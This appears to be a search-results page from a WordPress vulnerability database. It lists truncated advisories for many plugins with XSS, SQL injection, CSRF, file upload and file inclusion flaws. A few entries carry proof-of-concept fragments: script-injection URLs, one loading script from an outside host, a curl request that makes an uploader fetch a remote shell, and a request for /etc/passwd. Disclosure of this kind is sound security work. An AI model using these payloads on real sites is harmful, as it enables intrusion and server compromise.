14652 matches found
UK Cookie Consent <= 2.3.9 - Authenticated Stored Cross-Site Scripting (XSS)
A persistent cross-site scripting vulnerability has been identified in the web interface of the plugin that allows the execution of arbitrary HTML/script code to be executed in a victim's web browser. Tested on version 2.3.9 older versions may also be affected PoC 1 Access WordPress control panel...
WordPress 3.7-4.9.4 - Remove localhost Default
Description Don't treat localhost as same host by default...
Duplicator <= 1.2.32 - Cross-Site Scripting (XSS)
The Duplicator – WordPress Migration Plugin WordPress plugin was affected by a Cross-Site Scripting XSS security vulnerability...
furikake - Unauthenticated Open Redirect
The furikake WordPress plugin was affected by an Unauthenticated Open Redirect security vulnerability...
Customer Area < 7.4.3 - XSS
The WP Customer Area WordPress plugin was affected by a XSS security vulnerability...
Analytics Tracker < 1.1.1 - XSS
The Analytics Tracker WordPress plugin was affected by a XSS security vulnerability...
Easy Team Manager 1.3.2 - Authenticated Blind SQL Injection
The easy-team-manager WordPress plugin was affected by an Authenticated Blind SQL Injection security vulnerability...
eventr 1.02.2 - Blind SQL Injection
The eventr WordPress plugin was affected by a Blind SQL Injection security vulnerability...
Ultimate Addons for Visual Composer <= 3.16.11 - Authenticated XSS, CSRF, RCE
The UltimateVCAddons WordPress plugin was affected by an Authenticated XSS, CSRF, RCE security vulnerability...
Slideshow Gallery <= 1.6.5 - Multiple Authenticated Cross-Site Scripting (XSS)
The Slideshow Gallery WordPress plugin was affected by a Multiple Authenticated Cross-Site Scripting XSS security vulnerability. PoC http://vulnerablesite.com/wp-admin/admin.php?page=slideshowgalleries=view=1%5C%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E...
WP SlimStat <= 3.5.5 - Overview URI Stored XSS
The Slimstat Analytics WordPress plugin was affected by an Overview URI Stored XSS security vulnerability...
Gnucommerce < 1.4.2 - XSS
The GNUCommerce WordPress plugin was affected by a XSS security vulnerability...
Popup by Supsystic <= 1.7.8 - Cross-Site Request Forgery (CSRF)
The Popup by Supsystic WordPress plugin was affected by a Cross-Site Request Forgery CSRF security vulnerability...
Posts In Page < 1.3.0 - Directory Traversal
The Posts in Page WordPress plugin was affected by a Directory Traversal security vulnerability...
Multisite Post Duplicator <= 0.9.5.1 - Cross-Site Request Forgery (CSRF)
The Multisite Post Duplicator WordPress plugin was affected by a Cross-Site Request Forgery CSRF security vulnerability...
Simplified Content <= 1.0.0 - XSS
The Simplified Content WordPress plugin was affected by a XSS security vulnerability...
Adblock Blocker 0.0.1 - Arbitrary File Upload
The addblockblocker WordPress plugin was affected by an Arbitrary File Upload security vulnerability...
WP Google Map Plugin < 3.1.2 - XSS
The WP Google Map Plugin WordPress plugin was affected by a XSS security vulnerability...
Tevolution <= 2.2.7 - Unrestricted File Upload
Files 'single-upload.php' and 'singleupload.php' affected...
Simpel Reserveren 3 <= 3.5.2 - Unauthenticated Reflected Cross-Site Scripting (XSS)
The simpel-reserveren WordPress plugin was affected by an Unauthenticated Reflected Cross-Site Scripting XSS security vulnerability...
IMPress Listings <= 2.0.1 - Unauthenticated Reflected Cross-Site Scripting (XSS)
The IMPress Listings WordPress plugin was affected by an Unauthenticated Reflected Cross-Site Scripting XSS security vulnerability. PoC...
Users Ultra Membership Plugin <= 1.5.58 - Unrestricted File Upload
The Users Ultra Membership, Users Community and Member Profiles With PayPal Integration Plugin WordPress plugin was affected by an Unrestricted File Upload security vulnerability...
ResAds <= 1.0.1 - Reflected Cross-Site Scripting (XSS)
The ResAds WordPress plugin was affected by a Reflected Cross-Site Scripting XSS security vulnerability...
Appointment Booking Calendar < 1.1.8 - Multiple Reflected Cross-Site Scripting (XSS) and SQL Injection
The Appointment Booking Calendar WordPress plugin was affected by a Multiple Reflected Cross-Site Scripting XSS and SQL Injection security vulnerability...
ALO EasyMail Newsletter <= 2.6.00 - Cross-Site Scripting (XSS) & CSRF
The ALO EasyMail Newsletter WordPress plugin was affected by a Cross-Site Scripting XSS & CSRF security vulnerability...
Csv2WPeC Coupon <= 1.1 - Unauthenticated Remote File Upload
The code in csv2wpecCouponFileUpload.php does not properly sanitize user input, it checks the file mime-type for type x-php but this can be tricked when using the short code for PoC "; $uploadfile="/var/www/s.pht"; $ch =...
AddThis Sharing Buttons <= 5.0.12 - Authenticated Cross-Site Scripting (XSS)
The WordPress Share Buttons Plugin – AddThis WordPress plugin was affected by an Authenticated Cross-Site Scripting XSS security vulnerability...
The Holiday Calendar <= 1.11.2 - Cross-Site Scripting (XSS)
The The Holiday Calendar WordPress plugin was affected by a Cross-Site Scripting XSS security vulnerability...
WordPress <= 4.2.3 - Widgets Title Cross-Site Scripting (XSS)
...
qTranslate <= 2.5.39 - Cross-Site Scripting (XSS)
The qtranslate WordPress plugin was affected by a Cross-Site Scripting XSS security vulnerability...
Email Before Download < 3.4.1 - SQL Injection
Email Before Download https://wordpress.org/plugins/email-before-download/ before version 3.4.1 was vulnerable to several SQL injections...
Fast Image Adder <= 1.1 - Unauthenticated Remote File Upload
The fast-image-adder WordPress plugin was affected by an Unauthenticated Remote File Upload security vulnerability. PoC $ curl http://www.example.com/wp-content/plugins/fast-image-adder/fast-image-adder-uploader.php?confirm=url=http://sitewithshellstodl/shell.php Shell location is reported back t...
MDC YouTube Downloader <= 2.1.0 - Local File Inclusion
The MDC YouTube Downloader WordPress plugin was affected by a Local File Inclusion security vulnerability. PoC http://www.example.com/wp-content/plugins/mdc-youtube-downloader/includes/download.php?file=/etc/passwd...
Broken Link Checker <= 1.10.8 - Unauthenticated Stored XSS
Persistent Cross-Site Scripting XSS in wordpress-admin-panel enabled by not proper sanitised HTTP headers...
WordPress Landing Pages <= 1.8.4 - XSS & SQL Injection
The WordPress Landing Pages WordPress plugin was affected by a XSS & SQL Injection security vulnerability...
WP Membership <= 1.2.3 - Multiple Vulnerabilities
The wp-membership WordPress plugin was affected by a Multiple Vulnerabilities security vulnerability...
Encrypted Contact Form <= 1.0.4 - CSRF & XSS
The Encrypted Contact Form WordPress plugin was affected by a CSRF & XSS security vulnerability...
Content Slide <= 1.4.2 - CSRF & Stored XSS
The content-slide WordPress plugin was affected by a CSRF & Stored XSS security vulnerability...
Cforms & CformsII < 14.6.10 - SQL Injection
...
All In One WP Security & Firewall <= 3.8.9 - CSRF
According to the original advisory, "If a user views a malicious page while logged in, access logs 404 events maintained by the product may be deleted."...
Holding Pattern Theme <= 0.6 - Arbitrary File Upload
An attacker can exploit this vulnerability to upload arbitrary PHP code and run it in the context of the Web server process. This may facilitate unauthorized access or privilege escalation. Disclosure timeline: 2015-01-14 Vendor Alerted via email. 2015-01-14 Fix Requested via email. 2015-01-14...
Our Team Showcase 1.2 - CSRF & XSS
The Our Team Showcase WordPress plugin was affected by a CSRF & XSS security vulnerability...
Frontend Uploader <= 0.9.2 - Unauthenticated Cross-Site Scripting (XSS)
The Frontend Uploader WordPress plugin was affected by an Unauthenticated Cross-Site Scripting XSS security vulnerability. PoC http://localhost:8080/?pageid=0&fu-disallowed-mime-type0name=%3CSCRIPT%20SRC=http://ha.ckers.org/xss.js?%3C%20B%20%3E...
WP Comment Twit <= 0.5 - Multiple CSRF
Plugin is still affected and has been closed...
Cardoza Facebook Like Box < 2.8.3 - Multiple CSRF
The Easy Social Like Box – Popup – Sidebar Widget WordPress plugin was affected by a Multiple CSRF security vulnerability...
Simple Ip Ban <= 1.2.3 - Multiple CSRF
The IP Ban WordPress plugin was affected by a Multiple CSRF security vulnerability...
Gr& Flagallery <= 4.24 - Full Path Disclosure
The Album and Image Gallery with Lightbox – Flagallery Photo Portfolio WordPress plugin was affected by a Full Path Disclosure security vulnerability...
Lyris List Manager 8.95a - Cross-Site Scripting (XSS)
The listmanager WordPress plugin was affected by a Cross-Site Scripting XSS security vulnerability...